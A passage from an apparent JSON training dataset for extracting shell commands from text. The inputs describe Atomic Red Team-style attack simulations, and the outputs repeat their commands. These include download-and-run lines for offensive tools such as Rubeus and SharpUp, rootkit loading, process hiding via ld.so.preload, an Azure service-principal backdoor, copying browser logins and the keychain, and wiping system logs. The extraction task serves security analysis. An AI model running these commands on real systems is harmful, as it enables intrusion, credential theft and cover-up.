should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n For auditing common privilege escalation techniques via WinPwn's SharpUp function in PowerSharpPack, execute this command (note it may take a few minutes to complete):\niex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-SharpUp.ps1')\nInvoke-SharpUp -command \"audit\"; To execute the Seatbelt technique using PowerSharpPack's WinPwn function, run the following command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-Seatbelt.ps1')\nInvoke-Seatbelt -Command \"-group=all\"", "output": "{\"command_list\": [\"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-SharpUp.ps1')\\nInvoke-SharpUp -command \\\"audit\\\"\", \"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-Seatbelt.ps1')\\nInvoke-Seatbelt -Command \\\"-group=all\\\"\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n A loadable kernel module rootkit can be activated with this command: sudo modprobe #{rootkit_name}\n; This technique leverages libprocesshider to hide a process, executed via the command: echo #{library_path} | tee -a /etc/ld.so.preload\n/usr/local/bin/evil_script.py localhost -c 10 >/dev/null & pgrep -l evil_script.py || echo \"process hidden\"", "output": "{\"command_list\": [\"sudo modprobe #{rootkit_name}\\n\", \"echo #{library_path} | tee -a /etc/ld.so.preload\\n/usr/local/bin/evil_script.py localhost -c 10 >/dev/null & pgrep -l evil_script.py || echo \\\"process hidden\\\"\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n To perform Kerberoasting with the Rubeus technique using PowerSharpPack, run the following command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-Rubeus.ps1')\nInvoke-Rubeus -Command \"asreproast /format:hashcat /nowrap\"; For persistence or privilege escalation by leveraging an Application's rights, you can authenticate as the application by running this command block: Import-Module -Name AzureAD\n$PWord = ConvertTo-SecureString -String \"#{password}\" -AsPlainText -Force\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \"#{username}\", $Pword\nConnect-AzureAD -Credential $Credential > $null\n\n$sp = Get-AzureADServicePrincipal -SearchString \"#{service_principal_name}\" | Select-Object -First 1\nif ($sp -eq $null) { Write-Warning \"Service Principal not found\"; exit }\n\n# in the context of an ART test (and not a real attack), we don't need to keep access for too long. In case the cleanup command isn't called, it's better to ensure that everything expires after 1 day so it doesn't leave this backdoor open for too long\n$credNotAfter = (Get-Date).AddDays(1)\n$certNotAfter = (Get-Date).AddDays(2) # certificate expiry must be later than cred expiry\n\n$cert = New-SelfSignedCertificate -DnsName \"atomicredteam.example.com\" -FriendlyName \"AtomicCert\" -CertStoreLocation Cert:\\CurrentUser\\My -KeyExportPolicy Exportable -Provider \"Microsoft Enhanced RSA and AES Cryptographic Provider\" -NotAfter $certNotAfter\n$keyValue = [System.Convert]::ToBase64String($cert.GetRawCertData())\nWrite-Host \"Generated certificate \"\"$($cert.Thumbprint)\"\"\"\n\nNew-AzureADServicePrincipalKeyCredential -ObjectId $sp.ObjectId -Type AsymmetricX509Cert -CustomKeyIdentifier \"AtomicTest\" -Usage Verify -Value $keyValue -EndDate $credNotAfter\n\nStart-Sleep -s 30\n$tenant = Get-AzureADTenantDetail\n$auth = Connect-AzureAD -TenantId $tenant.ObjectId -ApplicationId $sp.AppId -CertificateThumbprint $cert.Thumbprint\nWrite-Host \"Application Hijacking worked. Logged in successfully as $($auth.Account.Id) of type $($auth.Account.Type)\"\nWrite-Host \"End of Hijacking\"\n", "output": "{\"command_list\": [\"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-Rubeus.ps1')\\nInvoke-Rubeus -Command \\\"asreproast /format:hashcat /nowrap\\\"\", \"Import-Module -Name AzureAD\\n$PWord = ConvertTo-SecureString -String \\\"#{password}\\\" -AsPlainText -Force\\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \\\"#{username}\\\", $Pword\\nConnect-AzureAD -Credential $Credential > $null\\n\\n$sp = Get-AzureADServicePrincipal -SearchString \\\"#{service_principal_name}\\\" | Select-Object -First 1\\nif ($sp -eq $null) { Write-Warning \\\"Service Principal not found\\\"; exit }\\n\\n# in the context of an ART test (and not a real attack), we don't need to keep access for too long. In case the cleanup command isn't called, it's better to ensure that everything expires after 1 day so it doesn't leave this backdoor open for too long\\n$credNotAfter = (Get-Date).AddDays(1)\\n$certNotAfter = (Get-Date).AddDays(2) # certificate expiry must be later than cred expiry\\n\\n$cert = New-SelfSignedCertificate -DnsName \\\"atomicredteam.example.com\\\" -FriendlyName \\\"AtomicCert\\\" -CertStoreLocation Cert:\\\\CurrentUser\\\\My -KeyExportPolicy Exportable -Provider \\\"Microsoft Enhanced RSA and AES Cryptographic Provider\\\" -NotAfter $certNotAfter\\n$keyValue = [System.Convert]::ToBase64String($cert.GetRawCertData())\\nWrite-Host \\\"Generated certificate \\\"\\\"$($cert.Thumbprint)\\\"\\\"\\\"\\n\\nNew-AzureADServicePrincipalKeyCredential -ObjectId $sp.ObjectId -Type AsymmetricX509Cert -CustomKeyIdentifier \\\"AtomicTest\\\" -Usage Verify -Value $keyValue -EndDate $credNotAfter\\n\\nStart-Sleep -s 30\\n$tenant = Get-AzureADTenantDetail\\n$auth = Connect-AzureAD -TenantId $tenant.ObjectId -ApplicationId $sp.AppId -CertificateThumbprint $cert.Thumbprint\\nWrite-Host \\\"Application Hijacking worked. Logged in successfully as $($auth.Account.Id) of type $($auth.Account.Type)\\\"\\nWrite-Host \\\"End of Hijacking\\\"\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n The simulation involves copying Opera's login database to a specified location with this command: Copy-Item \"$env:APPDATA\\Opera Software\\Opera Stable\\Login Data\" -Destination \"PathToAtomicsFolder\\..\\ExternalPayloads\"\n; For more details on Firefox profile locations, visit the Mozilla support page, and run the following command to simulate credential access: Copy-Item \"$env:APPDATA\\Mozilla\\Firefox\\Profiles\\\" -Destination \"PathToAtomicsFolder\\..\\ExternalPayloads\" -Force -Recurse", "output": "{\"command_list\": [\"Copy-Item \\\"$env:APPDATA\\\\Opera Software\\\\Opera Stable\\\\Login Data\\\" -Destination \\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\"\\n\", \"Copy-Item \\\"$env:APPDATA\\\\Mozilla\\\\Firefox\\\\Profiles\\\\\\\" -Destination \\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\" -Force -Recurse\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n The system log files can be cleared by executing these truncate commands, which set their size to zero: truncate -s 0 /var/log/messages #size parameter shorthand\ntruncate --size=0 /var/log/security #size parameter; The first sub-test truncates the log file to zero bytes via /dev/null and the second sub-test fills it with null bytes using the following commands: sudo cat /dev/null > #{system_log_path} #truncating the file to zero bytes\nsudo dd if=/dev/zero bs=1000 count=5 of=#{system_log_path} #log file filled with null bytes(zeros)\n", "output": "{\"command_list\": [\"truncate -s 0 /var/log/messages #size parameter shorthand\\ntruncate --size=0 /var/log/security #size parameter \\n\", \"sudo cat /dev/null > #{system_log_path} #truncating the file to zero bytes\\nsudo dd if=/dev/zero bs=1000 count=5 of=#{system_log_path} #log file filled with null bytes(zeros)\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n The certificate pem file will be imported into the keychain via the command: security import #{cert_export} -k; To copy the keychain in a way similar to Atomic Stealer, use the following command: cat ~/Library/Keychains/login.keychain-db > #{keychain_export}\n", "output": "{\"command_list\": [\"security import #{cert_export} -k\\n\", \"cat ~/Library/Keychains/login.keychain-db > #{keychain_export}\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n To locate Firefox's bookmarks database on macOS 